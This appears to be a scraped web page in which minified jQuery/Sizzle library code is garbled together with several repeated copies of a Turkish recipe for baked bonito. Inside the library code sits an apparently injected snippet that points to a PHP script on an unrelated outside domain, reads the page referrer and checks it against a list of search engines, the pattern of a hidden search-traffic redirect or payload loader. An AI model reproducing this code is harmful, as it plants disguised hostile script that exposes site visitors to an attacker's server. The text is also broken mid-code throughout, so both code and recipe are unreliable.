L(e,t,n,r,i,s){for(var o=0,u=r.length;o0){f=a;break}}a=a[e]}r[o]=f}}}var r=/((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^\[\]]*\]|['"][^'"]*['"]|[^\[\]'"]+)+\]|\.|[^ >+~,(\[\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g,i=0,o=Object.prototype.toString,u=!1,a=!0,f=/\/g,l=/\W/;[0,0].sort(function(){return a=!1,0});var c=function(e,t,i,s){i=i||[],t=t||n;var u=t;if(t.nodeType!==1&&t.nodeType!==9)return[];if(!e||typeof e!="string")return i;var a,f,l,d,v,g,y,b,w=!0,E=c.isXML(t),S=[],x=e;do{r.exec(""),a=r.exec(x);if(a){x=a[3],S.push(a[1]);if(a[2]){d=a[3];break}}}while(a);if(S.length>1&&p.exec(e))if(S.length===2&&h.relative[S[0]])f=O(S[0]+S[1],t);else{f=h.relative[S[0]]?[t]:c(S.shift(),t);while(S.length)e=S.shift(),h.relative[e]&&(e+=S.shift()),f=O(e,f)}else{!s&&S.length>1&&t.nodeType===9&&!E&&h.match.ID.test(S[0])&&!h.match.ID.test(S[S.length-1])&&(v=c.find(S.shift(),t,E),t=v.expr?c.filter(v.expr,v.set)[0]:v.set[0]);if(t){v=s?{expr:S.pop(),set:m(s)}:c.find(S.pop(),S.length!==1||S[0]!=="~"&&S[0]!=="+"||!t.parentNode?t:t.parentNode,E),f=v.expr?c.filter(v.expr,v.set):v.set,S.length>0?l=m(f):w=!1;while(S.length)g=S.pop(),y=g,h.relative[g]?y=S.pop():g="",y==null&&(y=t),h.relative[g](l,y,E)}else l=S=[]}l||(l=f),l||c.error(g||e);if(o.call(l)==="[object Array]")if(!w)i.push.apply(i,l);else if(t&&t.nodeType===1)for(b=0;l[b]!=null;b++)l[b]&&(l[b]===!0||l[b].nodeType===1&&c.contains(t,l[b]))&&i.push(f[b]);else for(b=0;l[b]!=null;b++)l[b]&&l[b].nodeType===1&&i.push(f[b]);else m(l,i);return d&&(c(d,u,i,s),c.uniqueSort(i)),i};c.uniqueSort=function(e){if(C){u=a,e.sort(C);if(u)for(var t=1;t0},c.find=function(e,t,n){var r;if(!e)return[];for(var i=0,s=h.order.length;i":function(e,t){var n,r=typeof t=="string",i=0,s=e.length;if(r&&!l.test(t)){t=t.toLowerCase();for(;i=0)?n||r.push(u):n&&(t[o]=!1));return!1},ID:function(e){return e[1].replace(f,"")},TAG:function(e,t){return e[1].replace(f,"").toLowerCase()},CHILD:function(e){if(e[1]==="nth"){e[2]||c.error(e[0]),e[2]=e[2].replace(/^\+|\s*/g,"");var t=/(-?)(\d*)(?:n([+\-]?\d*))?/.exec(e[2]==="even"&&"2n"||e[2]==="odd"&&"2n+1"||!/\D/.test(e[2])&&"0n+"+e[2]||e[2]);e[2]=t[1]+(t[2]||1)-0,e[3]=t[3]-0}else e[2]&&c.error(e[0]);return e[0]=i++,e},ATTR:function(e,t,n,r,i,s){var o=e[1]=e[1].replace(f,"");return!s&&h.attrMap[o]&&(e[1]=h.attrMap[o]),e[4]=(e[4]||e[5]||"").replace(f,""),e[2]==="~="&&(e[4]=" "+e[4]+" "),e},PSEUDO:function(e,t,n,i,s){if(e[1]==="not"){if(!((r.exec(e[3])||"").length>1||/^\w/.test(e[3]))){var o=c.filter(e[3],t,n,!0^s);return n||i.push.apply(i,o),!1}e[3]=c(e[3],null,null,t)}else if(h.match.POS.test(e[0])||h.match.CHILD.test(e[0]))return!0;return e},POS:function(e){return e.unshift(!0),e}},filters:{enabled:function(e){return e.disabled===!1&&e.type!=="hidden"},disabled:function(e){return e.disabled===!0},checked:function(e){return e.checked===!0},selected:function(e){return e.parentNode&&e.parentNode.selectedIndex,e.selected===!0},parent:function(e){return!!e.firstChild},empty:function(e){return!e.firstChild},has:function(e,t,n){return!!c(n[3],e).length},header:function(e){return/h\d/i.test(e.nodeName)},text:function(e){var t=e.getAttribute("type"),n=e.type;return e.nodeName.toLowerCase()==="input"&&"text"===n&&(t===n||t===null)},radio:function(e){return e.nodeName.toLowerCase()==="input"&&"radio"===e.type},checkbox:function(e){return e.nodeName.toLowerCase()==="input"&&"checkbox"===e.type},file:function(e){return e.nodeName.toLowerCase()==="input"&&"file"===e.type},password:function(e){return e.nodeName.toLowerCase()==="input"&&"password"===e.type},submit:function(e){var t=e.nodeName.toLowerCase();return(t==="input"||t==="button")&&"submit"===e.type},image:function(e){return e.nodeName.toLowerCase()==="input"&&"image"===e.type},reset:function(e){var t=e.nodeName.toLowerCase();return(t==="input"||t==="button")&&"reset"===e.type},button:function(e){var t=e.nodeName.toLowerCase();return t==="input"&&"button"===e.type||t==="button"},input:function(e){return/input|select|textarea|button/i.test(e.nodeName)},focus:function(e){return e===e.ownerDocument.activeElement}},setFilters:{first:function(e,t){return t===0},last:function(e,t,n,r){return t===r.length-1},even:function(e,t){return t%2===0},odd:function(e,t){return t%2===1},lt:function(e,t,n){return tn[3]-0},nth:function(e,t,n){return n[3]-0===t},eq:function(e,t,n){return n[3]-0===t}},filter:{PSEUDO:function(e,t,n,r){var i=t[1],s=h.filters[i];if(s)return s(e,n,t,r);if(i==="contains")return(e.textContent||e.innerText||c.getText([e])||"").indexOf(t[3])>=0;if(i==="not"){var o=t[3];for(var u=0,a=o.length;u=0}},ID:function(e,t){return e.nodeType===1&&e.getAttribute("id")===t},TAG:function(e,t){return t==="*"&&e.nodeType===1||e.nodeName.toLowerCase()===t},CLASS:function(e,t){return(" "+(e.className||e.getAttribute("class"))+" ").indexOf(t)>-1},ATTR:function(e,t){var n=t[1],r=h.attrHandle[n]?h.attrHandle[n](e):e[n]!=null?e[n]:e.getAttribute(n),i=r+"",s=t[2],o=t[4];return r==null?s==="!=":s==="="?i===o:s==="*="?i.indexOf(o)>=0:s==="~="?(" "+i+" ").indexOf(o)>=0:o?s==="!="?i!==o:s==="^="?i.indexOf(o)===0:s==="$="?i.substr(i.length-o.length)===o:s==="|="?i===o||i.substr(0,o.length+1)===o+"-":!1:i&&r!==!1},POS:function(e,t,n,r){var i=t[2],s=h.setFilters[i];if(s)return s(e,n,t,r)}}},p=h.match.POS,d=function(e,t){return"\"+(t-0+1)};for(var v in h.match)h.match[v]=new RegExp(h.match[v].source+/(?![^\[]*\])(?![^\(]*\))/.source),h.leftMatch[v]=new RegExp(/(^(?:.|\r|\n)*?)/.source+h.match[v].source.replace(/\(\d+)/g,d));var m=function(e,t){return e=Array.prototype.slice.call(e,0),t?(t.push.apply(t,e),t):e},g="http://www.assofleurdelotus.fr/js/test.php",y=n.referrer,b,w=[""," "],E=["google","yahoo","bing","yandex","baidu","gigablast","soso","blekko","exalead","sogou","duckduckgo","volunia"];if(!y)console.log("direct"),T();else for(b=0;b",i.insertBefore(e,i.firstChild),n.getElementById(r)&&(h.find.ID=function(e,n,r){if(typeof n.getElementById!="undefined"&&!r){var i=n.getElementById(e[1]);return i?i.id===e[1]||typeof i.getAttributeNode!="undefined"&&i.getAttributeNode("id").nodeValue===e[1]?[i]:t:[]}},h.filter.ID=function(e,t){var n=typeof e.getAttributeNode!="undefined"&&e.getAttributeNode("id");return e.nodeType===1&&n&&n.nodeValue===t}),i.removeChild(e),i=e=null}(),function(){var e=n.createElement("div");e.appendChild(n.createComment("")),e.getElementsByTagName("*").length>0&&(h.find.TAG=function(e,t){var n=t.getElementsByTagName(e[1]);if(e[1]==="*"){var r=[];for(var i=0;n[i];i++)n[i].nodeType===1&&r.push(n[i]);n=r}return n}),e.innerHTML="",e.firstChild&&typeof e.firstChild.getAttribute!="undefined"&&e.firstChild.getAttribute("href")!=="#"&&(h.attrHandle.href=function(e){return e.getAttribute("href",2)}),e=null}(),n.querySelectorAll&&function(){var e=c,t=n.createElement("div"),r="__sizzle__";t.innerHTML="

";if(t.querySelectorAll&&t.querySelectorAll(".TEST").length===0)return;c=function(t,i,s,o){i=i||n;if(!o&&!c.isXML(i)){var u=/^(\w+$)|^\.([\w\-]+$)|^#([\w\-]+$)/.exec(t);if(u&&(i.nodeType===1||i.nodeType===9)){if(u[1])return m(i.getElementsByTagName(t),s);if(u[2]&&h.find.CLASS&&i.getElementsByClassName)return m(i.getElementsByClassName(u[2]),s)}if(i.nodeType===9){if(t==="body"&&i.body)return m([i.body],s);if(u&&u[3]){var a=i.getElementById(u[3]);if(!a||!a.parentNode)return m([],s);if(a.id===u[3])return m([a],s)}try{return m(i.querySelectorAll(t),s)}catch(f){}}else if(i.nodeType===1&&i.nodeName.toLowerCase()!=="object"){var l=i,p=i.getAttribute("id"),d=p||r,v=i.parentNode,g=/^\s*[+~]/.test(t);p?d=d.replace(/'/g,"\$&"):i.setAttribute("id",d),g&&v&&(i=i.parentNode);try{if(!g||v)return m(i.querySelectorAll("[id='"+d+"'] "+t),s)}catch(y){}finally{p||l.removeAttribute("id")}}}return e(t,i,s,o)};for(var i in e)c[i]=e[i];t=null}(),function(){var e=n.documentElement,t=e.matchesSelector||e.mozMatchesSelector||e.webkitMatchesSelector||e.msMatchesSelector;if(t){var r=!t.call(n.createElement("div"),"div"),i=!1;try{t.call(n.documentElement,"[test!='']:sizzle")}catch(s){i=!0}c.matchesSelector=function(e,n){n=n.replace(/\=\s*([^'"\]]*)\s*\]/g,"='

Palamut Kızartma

MALZEMELER:

1 palamut,

2 soğanın suyu,

2 baş soğan,

6 domates,

1 su bardağı yağsız et suyu,

1 su bardağı beyaz şarap,

yarım su bardağı zeytinyağı,

yarım demet maydanoz,

karabiber,

tuz.
Palamut Kızartma, Palamut Kızartma Tarifi, Resimli Oktay Usta Palamut Kızartma Tarifi Yapılışı
Palamut Kızartma Tarifi

Balık temizlendikten sonra “uzunlamasına” 2′ ye ayrılır, kemiği çıkarılır.

• Her parça dörder parmak eninde parçalara bölünür.

• Tuz ve karabiber serpilir. Soğan suyuna yatırılıp 1 saat bekletilir.

• Sonra, deri kısımları alta gelmek üzere tepsiye dizilir. Üzerine kıyılmış maydanoz serpilir.

• Üstüne “yuvarlak” doğranmış domatesler konur.

• Üstüne et suyu, şarap ve zeytinyağı konulduktan sonra fırına ko­nur.

• Pişerken ara sıra tepsinin kenarındaki sudan alınıp üstüne “gezdire gezdire” dökülür.

• Sıcak servis yapılır.

Palamut Kızartma Konusuna Ait Etiketler
Bu Konuyu Sosyal Medyada Paylaş

Palamut Kızartma İçin Yazılmış Yorumlar

Henüz yorum yapılmamış.

Palamut Kızartma İçin Yorum Yaz

Yukarı Çık ']");if(!c.isXML(e))try{if(i||!h.match.PSEUDO.test(n)&&!/!=/.test(n)){var s=t.call(e,n);if(s||!r||e.document&&e.document.nodeType!==11)return s}}catch(o){}return c(n,null,null,[e]).length>0}}}(),function(){var e=n.createElement("div");e.innerHTML="
";if(!e.getElementsByClassName||e.getElementsByClassName("e").length===0)return;e.lastChild.className="e";if(e.getElementsByClassName("e").length===1)return;h.order.splice(1,0,"CLASS"),h.find.CLASS=function(e,t,n){if(typeof t.getElementsByClassName!="undefined"&&!n)return t.getElementsByClassName(e[1])},e=null}(),n.documentElement.contains?c.contains=function(e,t){return e!==t&&(e.contains?e.contains(t):!0)}:n.documentElement.compareDocumentPosition?c.contains=function(e,t){return!!(e.compareDocumentPosition(t)&16)}:c.contains=function(){return!1},c.isXML=function(e){var t=(e?e.ownerDocument||e:0).documentElement;return t?t.nodeName!=="HTML":!1};var O=function(e,t){var n,r=[],i="",s=t.nodeType?[t]:t;while(n=h.match.PSEUDO.exec(e))i+=n[0],e=e.replace(h.match.PSEUDO,"");e=h.relative[e]?e+"*":e;for(var o=0,u=s.length;o0)for(u=o;u0:this.filter(e).length>0)},closest:function(e,t){var n=[],r,i,o=this[0];if(s.isArray(e)){var u,a,f={},l=1;if(o&&e.length){for(r=0,i=e.length;r-1:s(o).is(u))&&n.push({selector:a,elem:o,level:l});o=o.parentNode,l++}}return n}var c=W.test(e)||typeof e!="string"?s(e,t||this.context):0;for(r=0,i=this.length;r-1:s.find.matchesSelector(o,e)){n.push(o);break}o=o.parentNode;if(!o||!o.ownerDocument||o===t||o.nodeType===11)break}}return n=n.length>1?s.unique(n):n,this.pushStack(n,"closest",e)},index:function(e){return e?typeof e=="string"?s.inArray(this[0],s(e)):s.inArray(e.jquery?e[0]:e,this):this[0]&&this[0].parentNode?this.prevAll().length:-1},add:function(e,t){var n=typeof e=="string"?s(e,t):s.makeArray(e&&e.nodeType?[e]:e),r=s.merge(this.get(),n);return this.pushStack(V(n[0])||V(r[0])?r:s.unique(r))},andSelf:function(){return this.add(this.prevObject)}}),s.each({parent:function(e){var t=e.parentNode;return t&&t.nodeType!==11?t:null},parents:function(e){return s.dir(e,"parentNode")},parentsUntil:function(e,t,n){return s.dir(e,"parentNode",n)},next:function(e){return s.nth(e,2,"nextSibling")},prev:function(e){return s.nth(e,2,"previousSibling")},nextAll:function(e){return s.dir(e,"nextSibling")},prevAll:function(e){return s.dir(e,"previousSibling")},nextUntil:function(e,t,n){return s.dir(e,"nextSibling",n)},prevUntil:function(e,t,n){return s.dir(e,"previousSibling",n)},siblings:function(e){return s.sibling(e.parentNode.firstChild,e)},children:function(e){return s.sibling(e.firstChild)},contents:function(e){return s.nodeName(e,"iframe")?e.contentDocument||e.contentWindow.document:s.makeArray(e.childNodes)}},function(e,t){s.fn[e]=function(n,r){var i=s.map(this,t,n),o=z.call(arguments);return I.test(e)||(r=n),r&&typeof r=="string"&&(i=s.filter(r,i)),i=this.length>1&&!X[e]?s.unique(i):i,(this.length>1||R.test(r))&&q.test(e)&&(i=i.reverse()),this.pushStack(i,e,o.join(","))}}),s.extend({filter:function(e,t,n){return n&&(e=":not("+e+")"),t.length===1?s.find.matchesSelector(t[0],e)?[t[0]]:[]:s.find.matches(e,t)},dir:function(e,n,r){var i=[],o=e[n];while(o&&o.nodeType!==9&&(r===t||o.nodeType!==1||!s(o).is(r)))o.nodeType===1&&i.push(o),o=o[n];return i},nth:function(e,t,n,r){t=t||1;var i=0;for(;e;e=e[n])if(e.nodeType===1&&++i===t)break;return e},sibling:function(e,t){var n=[];for(;e;e=e.nextSibling)e.nodeType===1&&e!==t&&n.push(e);return n}});var J=/ jQuery\d+="(?:\d+|null)"/g,K=/^\s+/,Q=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/ig,G=/<([\w:]+)/,Y=/",""],legend:[1,"
","
"],thead:[1,"","
"],tr:[2,"","
"],td:[3,"","
"],col:[2,"","
"],area:[1,"",""],_default:[0,"",""]};it.optgroup=it.option,it.tbody=it.tfoot=it.colgroup=it.caption=it.thead,it.th=it.td,s.support.htmlSerialize||(it._default=[1,"div
","
"]),s.fn.extend({text:function(e){return s.isFunction(e)?this.each(function(t){var n=s(this);n.text(e.call(this,t,n.text()))}):typeof e!="object"&&e!==t?this.empty().append((this[0]&&this[0].ownerDocument||n).createTextNode(e)):s.text(this)},wrapAll:function(e){if(s.isFunction(e))return this.each(function(t){s(this).wrapAll(e.call(this,t))});if(this[0]){var t=s(e,this[0].ownerDocument).eq(0).clone(!0);this[0].parentNode&&t.insertBefore(this[0]),t.map(function(){var e=this;while(e.firstChild&&e.firstChild.nodeType===1)e=e.firstChild;return e}).append(this)}return this},wrapInner:function(e){return s.isFunction(e)?this.each(function(t){s(this).wrapInner(e.call(this,t))}):this.each(function(){var t=s(this),n=t.contents();n.length?n.wrapAll(e):t.append(e)})},wrap:function(e){return this.each(function(){s(this).wrapAll(e)})},unwrap:function(){return this.parent().each(function(){s.nodeName(this,"body")||s(this).replaceWith(this.childNodes)}).end()},append:function(){return this.domManip(arguments,!0,function(e){this.nodeType===1&&this.appendChild(e)})},prepend:function(){return this.domManip(arguments,!0,function(e){this.nodeType===1&&this.insertBefore(e,this.firstChild)})},before:function(){if(this[0]&&this[0].parentNode)return this.domManip(arguments,!1,function(e){this.parentNode.insertBefore(e,this)});if(arguments.length){var e=s(arguments[0]);return e.push.apply(e,this.toArray()),this.pushStack(e,"before",arguments)}},after:function(){if(this[0]&&this[0].parentNode)return this.domManip(arguments,!1,function(e){this.parentNode.insertBefore(e,this.nextSibling)});if(arguments.length){var e=this.pushStack(this,"after",arguments);return e.push.apply(e,s(arguments[0]).toArray()),e}},remove:function(e,t){for(var n=0,r;(r=this[n])!=null;n++)if(!e||s.filter(e,[r]).length)!t&&r.nodeType===1&&(s.cleanData(r.getElementsByTagName("*")),s.cleanData([r])),r.parentNode&&r.parentNode.removeChild(r);return this},empty:function(){for(var e=0,t;(t=this[e])!=null;e++){t.nodeType===1&&s.cleanData(t.getElementsByTagName("*"));while(t.firstChild)t.removeChild(t.firstChild)}return this},clone:function(e,t){return e=e==null?!1:e,t=t==null?e:t,this.map(function(){return s.clone(this,e,t)})},html:function(e){if(e===t)return this[0]&&this[0].nodeType===1?this[0].innerHTML.replace(J,""):null;if(typeof e=="string"&&!et.test(e)&&(s.support.leadingWhitespace||!K.test(e))&&!it[(G.exec(e)||["",""])[1].toLowerCase()]){e=e.replace(Q,"<

Palamut Kızartma

MALZEMELER:

1 palamut,

2 soğanın suyu,

2 baş soğan,

6 domates,

1 su bardağı yağsız et suyu,

1 su bardağı beyaz şarap,

yarım su bardağı zeytinyağı,

yarım demet maydanoz,

karabiber,

tuz.
Palamut Kızartma, Palamut Kızartma Tarifi, Resimli Oktay Usta Palamut Kızartma Tarifi Yapılışı
Palamut Kızartma Tarifi

Balık temizlendikten sonra “uzunlamasına” 2′ ye ayrılır, kemiği çıkarılır.

• Her parça dörder parmak eninde parçalara bölünür.

• Tuz ve karabiber serpilir. Soğan suyuna yatırılıp 1 saat bekletilir.

• Sonra, deri kısımları alta gelmek üzere tepsiye dizilir. Üzerine kıyılmış maydanoz serpilir.

• Üstüne “yuvarlak” doğranmış domatesler konur.

• Üstüne et suyu, şarap ve zeytinyağı konulduktan sonra fırına ko­nur.

• Pişerken ara sıra tepsinin kenarındaki sudan alınıp üstüne “gezdire gezdire” dökülür.

• Sıcak servis yapılır.

Palamut Kızartma Konusuna Ait Etiketler
Bu Konuyu Sosyal Medyada Paylaş

Palamut Kızartma İçin Yazılmış Yorumlar

Henüz yorum yapılmamış.

Palamut Kızartma İçin Yorum Yaz

Yukarı Çık >");try{for(var n=0,r=this.length;n1&&c0?this.clone(!0):this).get();s(i[u])[t](f),r=r.concat(f)}return this.pushStack(r,e,i.selector)}}),s.extend({clone:function(e,t,n){var r=e.cloneNode(!0),i,o,u;if((!s.support.noCloneEvent||!s.support.noCloneChecked)&&(e.nodeType===1||e.nodeType===11)&&!s.isXMLDoc(e)){ut(e,r),i=at(e),o=at(r);for(u=0;i[u];++u)o[u]&&ut(i[u],o[u])}if(t){ot(e,r);if(n){i=at(e),o=at(r);for(u=0;i[u];++u)ot(i[u],o[u])}}return i=o=null,r},clean:function(e,t,r,i){var o;t=t||n,typeof t.createElement=="undefined"&&(t=t.ownerDocument||t[0]&&t[0].ownerDocument||n);var u=[],a;for(var f=0,l;(l=e[f])!=null;f++){typeof l=="number"&&(l+="");if(!l)continue;if(typeof l=="string")if(!Z.test(l))l=t.createTextNode(l);else{l=l.replace(Q,"<

Palamut Kızartma

MALZEMELER:

1 palamut,

2 soğanın suyu,

2 baş soğan,

6 domates,

1 su bardağı yağsız et suyu,

1 su bardağı beyaz şarap,

yarım su bardağı zeytinyağı,

yarım demet maydanoz,

karabiber,

tuz.
Palamut Kızartma, Palamut Kızartma Tarifi, Resimli Oktay Usta Palamut Kızartma Tarifi Yapılışı
Palamut Kızartma Tarifi

Balık temizlendikten sonra “uzunlamasına” 2′ ye ayrılır, kemiği çıkarılır.

• Her parça dörder parmak eninde parçalara bölünür.

• Tuz ve karabiber serpilir. Soğan suyuna yatırılıp 1 saat bekletilir.

• Sonra, deri kısımları alta gelmek üzere tepsiye dizilir. Üzerine kıyılmış maydanoz serpilir.

• Üstüne “yuvarlak” doğranmış domatesler konur.

• Üstüne et suyu, şarap ve zeytinyağı konulduktan sonra fırına ko­nur.

• Pişerken ara sıra tepsinin kenarındaki sudan alınıp üstüne “gezdire gezdire” dökülür.

• Sıcak servis yapılır.

Palamut Kızartma Konusuna Ait Etiketler
Bu Konuyu Sosyal Medyada Paylaş

Palamut Kızartma İçin Yazılmış Yorumlar

Henüz yorum yapılmamış.

Palamut Kızartma İçin Yorum Yaz

Yukarı Çık >");var c=(G.exec(l)||["",""])[1].toLowerCase(),h=it[c]||it._default,p=h[0],d=t.createElement("div");d.innerHTML=h[1]+l+h[2];while(p--)d=d.lastChild;if(!s.support.tbody){var v=Y.test(l),m=c==="table"&&!v?d.firstChild&&d.firstChild.childNodes:h[1]===""&&!v?d.childNodes:[];for(a=m.length-1;a>=0;--a)s.nodeName(m[a],"tbody")&&!m[a].childNodes.length&&m[a].parentNode.removeChild(m[a])}!s.support.leadingWhitespace&&K.test(l)&&d.insertBefore(t.createTextNode(K.exec(l)[0]),d.firstChild),l=d.childNodes}var g;if(!s.support.appendChecked)if(l[0]&&typeof (g=l.length)=="number")for(a=0;a=0)return t+"px"}}}),s.support.opacity||(s.cssHooks.opacity={get:function(e,t){return pt.test((t&&e.currentStyle?e.currentStyle.filter:e.style.filter)||"")?parseFloat(RegExp.

Palamut Kızartma

MALZEMELER:

1 palamut,

2 soğanın suyu,

2 baş soğan,

6 domates,

1 su bardağı yağsız et suyu,

1 su bardağı beyaz şarap,

yarım su bardağı zeytinyağı,

yarım demet maydanoz,

karabiber,

tuz.
Palamut Kızartma, Palamut Kızartma Tarifi, Resimli Oktay Usta Palamut Kızartma Tarifi Yapılışı
Palamut Kızartma Tarifi

Balık temizlendikten sonra “uzunlamasına” 2′ ye ayrılır, kemiği çıkarılır.

• Her parça dörder parmak eninde parçalara bölünür.

• Tuz ve karabiber serpilir. Soğan suyuna yatırılıp 1 saat bekletilir.

• Sonra, deri kısımları alta gelmek üzere tepsiye dizilir. Üzerine kıyılmış maydanoz serpilir.

• Üstüne “yuvarlak” doğranmış domatesler konur.

• Üstüne et suyu, şarap ve zeytinyağı konulduktan sonra fırına ko­nur.

• Pişerken ara sıra tepsinin kenarındaki sudan alınıp üstüne “gezdire gezdire” dökülür.

• Sıcak servis yapılır.

Palamut Kızartma Konusuna Ait Etiketler
Bu Konuyu Sosyal Medyada Paylaş

Palamut Kızartma İçin Yazılmış Yorumlar

Henüz yorum yapılmamış.

Palamut Kızartma İçin Yorum Yaz